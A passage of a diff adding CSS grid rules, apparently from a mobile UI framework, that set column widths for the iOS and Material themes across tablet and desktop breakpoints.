calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .tablet-25 { + width: 25%; + } + .ios .row .tablet-20 { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .tablet-20 { + width: 20%; + } + .ios .row .tablet-15 { + width: 15%; + width: calc((100% - 15px*5.666666666666667) / 6.666666666666667); + } + .ios .row.no-gap .tablet-15 { + width: 15%; + } + .ios .row .tablet-10 { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .tablet-10 { + width: 10%; + } + .ios .row .tablet-5 { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .tablet-5 { + width: 5%; + } + .ios .row .tablet-auto:nth-last-child(1), + .ios .row .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .tablet-auto:nth-last-child(1), + .ios .row.no-gap .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + } + .ios .row .tablet-auto:nth-last-child(2), + .ios .row .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .tablet-auto:nth-last-child(2), + .ios .row.no-gap .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + } + .ios .row .tablet-auto:nth-last-child(3), + .ios .row .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .tablet-auto:nth-last-child(3), + .ios .row.no-gap .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + } + .ios .row .tablet-auto:nth-last-child(4), + .ios .row .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .tablet-auto:nth-last-child(4), + .ios .row.no-gap .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + } + .ios .row .tablet-auto:nth-last-child(5), + .ios .row .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .tablet-auto:nth-last-child(5), + .ios .row.no-gap .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + } + .ios .row .tablet-auto:nth-last-child(6), + .ios .row .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + width: calc((100% - 15px*5) / 6); + } + .ios .row.no-gap .tablet-auto:nth-last-child(6), + .ios .row.no-gap .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + } + .ios .row .tablet-auto:nth-last-child(7), + .ios .row .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + width: calc((100% - 15px*6) / 7); + } + .ios .row.no-gap .tablet-auto:nth-last-child(7), + .ios .row.no-gap .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + } + .ios .row .tablet-auto:nth-last-child(8), + .ios .row .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + width: calc((100% - 15px*7) / 8); + } + .ios .row.no-gap .tablet-auto:nth-last-child(8), + .ios .row.no-gap .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + } + .ios .row .tablet-auto:nth-last-child(9), + .ios .row .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + width: calc((100% - 15px*8) / 9); + } + .ios .row.no-gap .tablet-auto:nth-last-child(9), + .ios .row.no-gap .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + } + .ios .row .tablet-auto:nth-last-child(10), + .ios .row .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .tablet-auto:nth-last-child(10), + .ios .row.no-gap .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + } + .ios .row .tablet-auto:nth-last-child(11), + .ios .row .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + width: calc((100% - 15px*10) / 11); + } + .ios .row.no-gap .tablet-auto:nth-last-child(11), + .ios .row.no-gap .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + } + .ios .row .tablet-auto:nth-last-child(12), + .ios .row .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + width: calc((100% - 15px*11) / 12); + } + .ios .row.no-gap .tablet-auto:nth-last-child(12), + .ios .row.no-gap .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + } + .ios .row .tablet-auto:nth-last-child(13), + .ios .row .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + width: calc((100% - 15px*12) / 13); + } + .ios .row.no-gap .tablet-auto:nth-last-child(13), + .ios .row.no-gap .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + } + .ios .row .tablet-auto:nth-last-child(14), + .ios .row .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + width: calc((100% - 15px*13) / 14); + } + .ios .row.no-gap .tablet-auto:nth-last-child(14), + .ios .row.no-gap .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + } + .ios .row .tablet-auto:nth-last-child(15), + .ios .row .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + width: calc((100% - 15px*14) / 15); + } + .ios .row.no-gap .tablet-auto:nth-last-child(15), + .ios .row.no-gap .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + } + .ios .row .tablet-auto:nth-last-child(16), + .ios .row .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + width: calc((100% - 15px*15) / 16); + } + .ios .row.no-gap .tablet-auto:nth-last-child(16), + .ios .row.no-gap .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + } + .ios .row .tablet-auto:nth-last-child(17), + .ios .row .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + width: calc((100% - 15px*16) / 17); + } + .ios .row.no-gap .tablet-auto:nth-last-child(17), + .ios .row.no-gap .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + } + .ios .row .tablet-auto:nth-last-child(18), + .ios .row .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + width: calc((100% - 15px*17) / 18); + } + .ios .row.no-gap .tablet-auto:nth-last-child(18), + .ios .row.no-gap .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + } + .ios .row .tablet-auto:nth-last-child(19), + .ios .row .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + width: calc((100% - 15px*18) / 19); + } + .ios .row.no-gap .tablet-auto:nth-last-child(19), + .ios .row.no-gap .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + } + .ios .row .tablet-auto:nth-last-child(20), + .ios .row .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .tablet-auto:nth-last-child(20), + .ios .row.no-gap .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + } + .ios .row .tablet-auto:nth-last-child(21), + .ios .row .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + width: calc((100% - 15px*20) / 21); + } + .ios .row.no-gap .tablet-auto:nth-last-child(21), + .ios .row.no-gap .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + } +} +@media (min-width: 1025px) { + .ios .row .desktop-100 { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .desktop-100 { + width: 100%; + } + .ios .row .desktop-95 { + width: 95%; + width: calc((100% - 15px*0.05263157894736836) / 1.0526315789473684); + } + .ios .row.no-gap .desktop-95 { + width: 95%; + } + .ios .row .desktop-90 { + width: 90%; + width: calc((100% - 15px*0.11111111111111116) / 1.1111111111111112); + } + .ios .row.no-gap .desktop-90 { + width: 90%; + } + .ios .row .desktop-85 { + width: 85%; + width: calc((100% - 15px*0.17647058823529416) / 1.1764705882352942); + } + .ios .row.no-gap .desktop-85 { + width: 85%; + } + .ios .row .desktop-80 { + width: 80%; + width: calc((100% - 15px*0.25) / 1.25); + } + .ios .row.no-gap .desktop-80 { + width: 80%; + } + .ios .row .desktop-75 { + width: 75%; + width: calc((100% - 15px*0.33333333333333326) / 1.3333333333333333); + } + .ios .row.no-gap .desktop-75 { + width: 75%; + } + .ios .row .desktop-70 { + width: 70%; + width: calc((100% - 15px*0.4285714285714286) / 1.4285714285714286); + } + .ios .row.no-gap .desktop-70 { + width: 70%; + } + .ios .row .desktop-66 { + width: 66.66666666666666%; + width: calc((100% - 15px*0.5000000000000002) / 1.5000000000000002); + } + .ios .row.no-gap .desktop-66 { + width: 66.66666666666666%; + } + .ios .row .desktop-65 { + width: 65%; + width: calc((100% - 15px*0.5384615384615385) / 1.5384615384615385); + } + .ios .row.no-gap .desktop-65 { + width: 65%; + } + .ios .row .desktop-60 { + width: 60%; + width: calc((100% - 15px*0.6666666666666667) / 1.6666666666666667); + } + .ios .row.no-gap .desktop-60 { + width: 60%; + } + .ios .row .desktop-55 { + width: 55%; + width: calc((100% - 15px*0.8181818181818181) / 1.8181818181818181); + } + .ios .row.no-gap .desktop-55 { + width: 55%; + } + .ios .row .desktop-50 { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .desktop-50 { + width: 50%; + } + .ios .row .desktop-45 { + width: 45%; + width: calc((100% - 15px*1.2222222222222223) / 2.2222222222222223); + } + .ios .row.no-gap .desktop-45 { + width: 45%; + } + .ios .row .desktop-40 { + width: 40%; + width: calc((100% - 15px*1.5) / 2.5); + } + .ios .row.no-gap .desktop-40 { + width: 40%; + } + .ios .row .desktop-35 { + width: 35%; + width: calc((100% - 15px*1.8571428571428572) / 2.857142857142857); + } + .ios .row.no-gap .desktop-35 { + width: 35%; + } + .ios .row .desktop-33 { + width: 33.333333333333336%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .desktop-33 { + width: 33.333333333333336%; + } + .ios .row .desktop-30 { + width: 30%; + width: calc((100% - 15px*2.3333333333333335) / 3.3333333333333335); + } + .ios .row.no-gap .desktop-30 { + width: 30%; + } + .ios .row .desktop-25 { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .desktop-25 { + width: 25%; + } + .ios .row .desktop-20 { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .desktop-20 { + width: 20%; + } + .ios .row .desktop-15 { + width: 15%; + width: calc((100% - 15px*5.666666666666667) / 6.666666666666667); + } + .ios .row.no-gap .desktop-15 { + width: 15%; + } + .ios .row .desktop-10 { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .desktop-10 { + width: 10%; + } + .ios .row .desktop-5 { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .desktop-5 { + width: 5%; + } + .ios .row .desktop-auto:nth-last-child(1), + .ios .row .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .desktop-auto:nth-last-child(1), + .ios .row.no-gap .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + } + .ios .row .desktop-auto:nth-last-child(2), + .ios .row .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .desktop-auto:nth-last-child(2), + .ios .row.no-gap .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + } + .ios .row .desktop-auto:nth-last-child(3), + .ios .row .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .desktop-auto:nth-last-child(3), + .ios .row.no-gap .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + } + .ios .row .desktop-auto:nth-last-child(4), + .ios .row .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .desktop-auto:nth-last-child(4), + .ios .row.no-gap .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + } + .ios .row .desktop-auto:nth-last-child(5), + .ios .row .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .desktop-auto:nth-last-child(5), + .ios .row.no-gap .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + } + .ios .row .desktop-auto:nth-last-child(6), + .ios .row .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + width: calc((100% - 15px*5) / 6); + } + .ios .row.no-gap .desktop-auto:nth-last-child(6), + .ios .row.no-gap .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + } + .ios .row .desktop-auto:nth-last-child(7), + .ios .row .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + width: calc((100% - 15px*6) / 7); + } + .ios .row.no-gap .desktop-auto:nth-last-child(7), + .ios .row.no-gap .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + } + .ios .row .desktop-auto:nth-last-child(8), + .ios .row .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + width: calc((100% - 15px*7) / 8); + } + .ios .row.no-gap .desktop-auto:nth-last-child(8), + .ios .row.no-gap .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + } + .ios .row .desktop-auto:nth-last-child(9), + .ios .row .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + width: calc((100% - 15px*8) / 9); + } + .ios .row.no-gap .desktop-auto:nth-last-child(9), + .ios .row.no-gap .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + } + .ios .row .desktop-auto:nth-last-child(10), + .ios .row .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .desktop-auto:nth-last-child(10), + .ios .row.no-gap .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + } + .ios .row .desktop-auto:nth-last-child(11), + .ios .row .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + width: calc((100% - 15px*10) / 11); + } + .ios .row.no-gap .desktop-auto:nth-last-child(11), + .ios .row.no-gap .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + } + .ios .row .desktop-auto:nth-last-child(12), + .ios .row .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + width: calc((100% - 15px*11) / 12); + } + .ios .row.no-gap .desktop-auto:nth-last-child(12), + .ios .row.no-gap .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + } + .ios .row .desktop-auto:nth-last-child(13), + .ios .row .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + width: calc((100% - 15px*12) / 13); + } + .ios .row.no-gap .desktop-auto:nth-last-child(13), + .ios .row.no-gap .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + } + .ios .row .desktop-auto:nth-last-child(14), + .ios .row .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + width: calc((100% - 15px*13) / 14); + } + .ios .row.no-gap .desktop-auto:nth-last-child(14), + .ios .row.no-gap .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + } + .ios .row .desktop-auto:nth-last-child(15), + .ios .row .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + width: calc((100% - 15px*14) / 15); + } + .ios .row.no-gap .desktop-auto:nth-last-child(15), + .ios .row.no-gap .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + } + .ios .row .desktop-auto:nth-last-child(16), + .ios .row .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + width: calc((100% - 15px*15) / 16); + } + .ios .row.no-gap .desktop-auto:nth-last-child(16), + .ios .row.no-gap .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + } + .ios .row .desktop-auto:nth-last-child(17), + .ios .row .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + width: calc((100% - 15px*16) / 17); + } + .ios .row.no-gap .desktop-auto:nth-last-child(17), + .ios .row.no-gap .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + } + .ios .row .desktop-auto:nth-last-child(18), + .ios .row .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + width: calc((100% - 15px*17) / 18); + } + .ios .row.no-gap .desktop-auto:nth-last-child(18), + .ios .row.no-gap .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + } + .ios .row .desktop-auto:nth-last-child(19), + .ios .row .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + width: calc((100% - 15px*18) / 19); + } + .ios .row.no-gap .desktop-auto:nth-last-child(19), + .ios .row.no-gap .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + } + .ios .row .desktop-auto:nth-last-child(20), + .ios .row .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .desktop-auto:nth-last-child(20), + .ios .row.no-gap .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + } + .ios .row .desktop-auto:nth-last-child(21), + .ios .row .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + width: calc((100% - 15px*20) / 21); + } + .ios .row.no-gap .desktop-auto:nth-last-child(21), + .ios .row.no-gap .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + } +} +/* === Grid === */ +.md .row .col-100 { + width: 100%; + width: calc((100% - 16px*0) / 1); +} +.md .row.no-gap .col-100 { + width: 100%; +} +.md .row .col-95 { + width: 95%; + width: calc((100% - 16px*0.05263157894736836) / 1.0526315789473684); +} +.md .row.no-gap .col-95 { + width: 95%; +} +.md .row .col-90 { + width: 90%; + width: calc((100% - 16px*0.11111111111111116) / 1.1111111111111112); +} +.md .row.no-gap .col-90 { + width: 90%; +} +.md .row .col-85 { + width: 85%; + width: calc((100% - 16px*0.17647058823529416) / 1.1764705882352942); +} +.md .row.no-gap .col-85 { + width: 85%; +} +.md .row .col-80 { + width: 80%; + width: calc((100% - 16px*0.25) / 1.25); +} +.md .row.no-gap .col-80 { + width: 80%; +} +.md .row .col-75 { + width: 75%; + width: calc((100% - 16px*0.33333333333333326) / 1.3333333333333333); +} +.md .row.no-gap .col-75 { + width: 75%; +} +.md .row .col-70 { + width: 70%; + width: calc((100% - 16px*0.4285714285714286) / 1.4285714285714286); +} +.md .row.no-gap .col-70 { + width: 70%; +} +.md .row .col-66 { + width: 66.66666666666666%; + width: calc((100% - 16px*0.5000000000000002) / 1.5000000000000002); +} +.md .row.no-gap .col-66 { + width: 66.66666666666666%; +} +.md .row .col-65 { + width: 65%; + width: calc((100% - 16px*0.5384615384615385) / 1.5384615384615385); +} +.md .row.no-gap .col-65 { + width: 65%; +} +.md .row .col-60 { + width: 60%; + width: calc((100% - 16px*0.6666666666666667) / 1.6666666666666667); +} +.md .row.no-gap .col-60 { + width: 60%; +} +.md .row .col-55 { + width: 55%; + width: calc((100% - 16px*0.8181818181818181) / 1.8181818181818181); +} +.md .row.no-gap .col-55 { + width: 55%; +} +.md .row .col-50 { + width: 50%; + width: calc((100% - 16px*1) / 2); +} +.md .row.no-gap .col-50 { + width: 50%; +} +.md .row .col-45 { + width: 45%; + width: calc((100% - 16px*1.2222222222222223) / 2.2222222222222223); +} +.md .row.no-gap .col-45 { + width: 45%; +} +.md .row .col-40 { + width: 40%; + width: calc((100% - 16px*1.5) / 2.5); +} +.md .row.no-gap .col-40 { + width: 40%; +} +.md .row .col-35 { + width: 35%; + width: calc((100% - 16px*1.8571428571428572) / 2.857142857142857); +} +.md .row.no-gap .col-35 { + width: 35%; +} +.md .row .col-33 { + width: 33.333333333333336%; + width: calc((100% - 16px*2) / 3); +} +.md .row.no-gap .col-33 { + width: 33.333333333333336%; +} +.md .row .col-30 { + width: 30%; + width: calc((100% - 16px*2.3333333333333335) / 3.3333333333333335); +} +.md .row.no-gap .col-30 { + width: 30%; +} +.md .row .col-25 { + width: 25%; + width: calc((100% - 16px*3) / 4); +} +.md .row.no-gap .col-25 { + width: 25%; +} +.md .row .col-20 { + width: 20%; + width: calc((100% - 16px*4) / 5); +} +.md .row.no-gap .col-20 { + width: 20%; +} +.md .row .col-15 { + width: 15%; + width: calc((100% - 16px*5.666666666666667) / 6.666666666666667); +} +.md .row.no-gap .col-15 { + width: 15%; +} +.md .row .col-10 { + width: 10%; + width: calc((100% - 16px*9) / 10); +} +.md .row.no-gap .col-10 { + width: 10%; +} +.md .row .col-5 { + width: 5%; + width: calc((100% - 16px*19) / 20); +} +.md .row.no-gap .col-5 { + width: 5%; +} +.md .row .col:nth-last-child(1), +.md .row .col:nth-last-child(1) ~ .col { + width: 100%; + width: calc((100% - 16px*0) / 1); +} +.md .row.no-gap .col:nth-last-child(1), +.md .row.no-gap .col:nth-last-child(1) ~ .col { + width: 100%; +} +.md .row .col:nth-last-child(2), +.md .row .col:nth-last-child(2) ~ .col { + width: 50%; + width: calc((100% - 16px*1) / 2); +} +.md .row.no-gap .col:nth-last-child(2), +.md .row.no-gap .col:nth-last-child(2) ~ .col { + width: 50%; +} +.md .row .col:nth-last-child(3), +.md .row .col:nth-last-child(3) ~ .col { + width: 33.33333333%; + width: calc((100% - 16px*2) / 3); +} +.md .row.no-gap .col:nth-last-child(3), +.md .row.no-gap .col:nth-last-child(3) ~ .col { + width: 33.33333333%; +} +.md .row .col:nth-last-child(4), +.md .row .col:nth-last-child(4) ~ .col { + width: 25%; + width: calc((100% - 16px*3) / 4); +} +.md .row.no-gap .col:nth-last-child(4), +.md .row.no-gap .col:nth-last-child(4) ~ .col { + width: 25%; +} +.md .row .col:nth-last-child(5), +.md .row .col:nth-last-child(5) ~ .col { + width: 20%; + width: calc((100% - 16px*4) / 5); +} +.md .row.no-gap .col:nth-last-child(5), +.md .row.no-gap .col:nth-last-child(5) ~ .col { + width: 20%; +} +.md .row .col:nth-last-child(6), +.md .row .col:nth-last-child(6) ~ .col { + width: 16.66666667%; + width: calc((100% - 16px*5) / 6); +} +.md .row.no-gap .col:nth-last-child(6), +.md .row.no-gap .col:nth-last-child(6) ~ .col { + width: 16.66666667%; +} +.md .row .col:nth-last-child(7), +.md .row .col:nth-last-child(7) ~ .col { + width: 14.28571429%; + width: calc((100% - 16px*6) / 7); +} +.md .row.no-gap .col:nth-last-child(7), +.md .row.no-gap .col:nth-last-child(7) ~ .col { + width: 14.28571429%; +} +.md .row .col:nth-last-child(8), +.md .row .col:nth-last-child(8) ~ .col { + width: 12.5%; + width: calc((100% - 16px*7) / 8); +} +.md .row.no-gap .col:nth-last-child(8), +.md .row.no-gap .col:nth-last-child(8) ~ .col { + width: 12.5%; +} +.md .row .col:nth-last-child(9), +.md .row .col:nth-last-child(9) ~ .col { + width: 11.11111111%; + width: calc((100% - 16px*8) / 9); +} +.md .row.no-gap .col:nth-last-child(9), +.md .row.no-gap .col:nth-last-child(9) ~ .col { + width: 11.11111111%; +} +.md .row .col:nth-last-child(10), +.md .row .col:nth-last-child(10) ~ .col { + width: 10%; + width: calc((100% - 16px*9) / 10); +} +.md .row.no-gap .col:nth-last-child(10), +.md .row.no-gap .col:nth-last-child(10) ~ .col { + width: 10%; +} +.md .row .col:nth-last-child(11), +.md .row .col:nth-last-child(11) ~ .col { + width: 9.09090909%; + width: calc((100% - 16px*10) / 11); +} +.md .row.no-gap .col:nth-last-child(11), +.md .row.no-gap .col:nth-last-child(11) ~ .col { + width: 9.09090909%; +} +.md .row .col:nth-last-child(12), +.md .row .col:nth-last-child(12) ~ .col { + width: 8.33333333%; + width: calc((100% - 16px*11) / 12); +} +.md .row.no-gap .col:nth-last-child(12), +.md .row.no-gap .col:nth-last-child(12) ~ .col { + width: 8.33333333%; +} +.md .row .col:nth-last-child(13), +.md .row .col:nth-last-child(13) ~ .col { + width: 7.69230769%; + width: calc((100% - 16px*12) / 13); +} +.md .row.no-gap .col:nth-last-child(13), +.md .row.no-gap .col:nth-last-child(13) ~ .col { + width: 7.69230769%; +} +.md .row .col:nth-last-child(14), +.md .row .col:nth-last-child(14) ~ .col { + width: 7.14285714%; + width: calc((100% - 16px*13) / 14); +} +.md .row.no-gap .col:nth-last-child(14), +.md .row.no-gap .col:nth-last-child(14) ~ .col { + width: 7.14285714%; +} +.md .row .col:nth-last-child(15), +.md .row .col:nth-last-child(15) ~ .col { + width: 6.66666667%; + width: calc((100% - 16px*14) / 15); +} +.md .row.no-gap .col:nth-last-child(15), +.md .row.no-gap .col:nth-last-child(15) ~ .col { + width: 6.66666667%; +} +.md .row .col:nth-last-child(16), +.md .row .col:nth-last-child(16) ~ .col { + width: 6.25%; + width: calc((100% - 16px*15) / 16); +} +.md .row.no-gap .col:nth-last-child(16), +.md .row.no-gap .col:nth-last-child(16) ~ .col { + width: 6.25%; +} +.md .row .col:nth-last-child(17), +.md .row .col:nth-last-child(17) ~ .col { + width: 5.88235294%; + width: calc((100% - 16px*16) / 17); +} +.md .row.no-gap .col:nth-last-child(17), +.md .row.no-gap .col:nth-last-child(17) ~ .col { + width: 5.88235294%; +} +.md .row .col:nth-last-child(18), +.md .row .col:nth-last-child(18) ~ .col { + width: 5.55555556%; + width: calc((100% - 16px*17) / 18); +} +.md .row.no-gap .col:nth-last-child(18), +.md .row.no-gap .col:nth-last-child(18) ~ .col { + width: 5.55555556%; +} +.md .row .col:nth-last-child(19), +.md .row .col:nth-last-child(19) ~ .col { + width: 5.26315789%; + width: calc((100% - 16px*18) / 19); +} +.md .row.no-gap .col:nth-last-child(19), +.md .row.no-gap .col:nth-last-child(19) ~ .col { + width: 5.26315789%; +} +.md .row .col:nth-last-child(20), +.md .row .col:nth-last-child(20) ~ .col { + width: 5%; + width: calc((100% - 16px*19) / 20); +} +.md .row.no-gap .col:nth-last-child(20), +.md .row.no-gap .col:nth-last-child(20) ~ .col { + width: 5%; +} +.md .row .col:nth-last-child(21), +.md .row .col:nth-last-child(21) ~ .col { + width: 4.76190476%; + width: calc((100% - 16px*20) / 21); +} +.md .row.no-gap .col:nth-last-child(21), +.md .row.no-gap .col:nth-last-child(21) ~ .col { + width: 4.76190476%; +} +@media (min-width: 768px) { + .md .row .tablet-100 { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .tablet-100 { + width: 100%; + } + .md .row .tablet-95 { + width: 95%; + width: calc((100% - 16px*0.05263157894736836) / 1.0526315789473684); + } + .md .row.no-gap .tablet-95 { + width: 95%; + } + .md .row .tablet-90 { + width: 90%; + width: calc((100% - 16px*0.11111111111111116) / 1.1111111111111112); + } + .md .row.no-gap .tablet-90 { + width: 90%; + } + .md .row .tablet-85 { + width: 85%; + width: calc((100% - 16px*0.17647058823529416) / 1.1764705882352942); + } + .md .row.no-gap .tablet-85 { + width: 85%; + } + .md .row .tablet-80 { + width: 80%; + width: calc((100% - 16px*0.25) / 1.25); + } + .md .row.no-gap .tablet-80 { + width: 80%; + } + .md .row .tablet-75 { + width: 75%; + width: calc((100% - 16px*0.33333333333333326) / 1.3333333333333333); + } + .md .row.no-gap .tablet-75 { + width: 75%; + } + .md .row .tablet-70 { + width: 70%; + width: calc((100% - 16px*0.4285714285714286) / 1.4285714285714286); + } + .md .row.no-gap .tablet-70 { + width: 70%; + } + .md .row .tablet-66 { + width: 66.66666666666666%; + width: calc((100% - 16px*0.5000000000000002) / 1.5000000000000002); + } + .md .row.no-gap .tablet-66 { + width: 66.66666666666666%; + } + .md .row .tablet-65 { + width: 65%; + width: calc((100% - 16px*0.5384615384615385) / 1.5384615384615385); + } + .md .row.no-gap .tablet-65 { + width: 65%; + } + .md .row .tablet-60 { + width: 60%; + width: calc((100% - 16px*0.6666666666666667) / 1.6666666666666667); + } + .md .row.no-gap .tablet-60 { + width: 60%; + } + .md .row .tablet-55 { + width: 55%; + width: calc((100% - 16px*0.8181818181818181) / 1.8181818181818181); + } + .md .row.no-gap .tablet-55 { + width: 55%; + } + .md .row .tablet-50 { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .tablet-50 { + width: 50%; + } + .md .row .tablet-45 { + width: 45%; + width: calc((100% - 16px*1.2222222222222223) / 2.2222222222222223); + } + .md .row.no-gap .tablet-45 { + width: 45%; + } + .md .row .tablet-40 { + width: 40%; + width: calc((100% - 16px*1.5) / 2.5); + } + .md .row.no-gap .tablet-40 { + width: 40%; + } + .md .row .tablet-35 { + width: 35%; + width: calc((100% - 16px*1.8571428571428572) / 2.857142857142857); + } + .md .row.no-gap .tablet-35 { + width: 35%; + } + .md .row .tablet-33 { + width: 33.333333333333336%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .tablet-33 { + width: 33.333333333333336%; + } + .md .row .tablet-30 { + width: 30%; + width: calc((100% - 16px*2.3333333333333335) / 3.3333333333333335); + } + .md .row.no-gap .tablet-30 { + width: 30%; + } + .md .row .tablet-25 { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .tablet-25 { + width: 25%; + } + .md .row .tablet-20 { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .tablet-20 { + width: 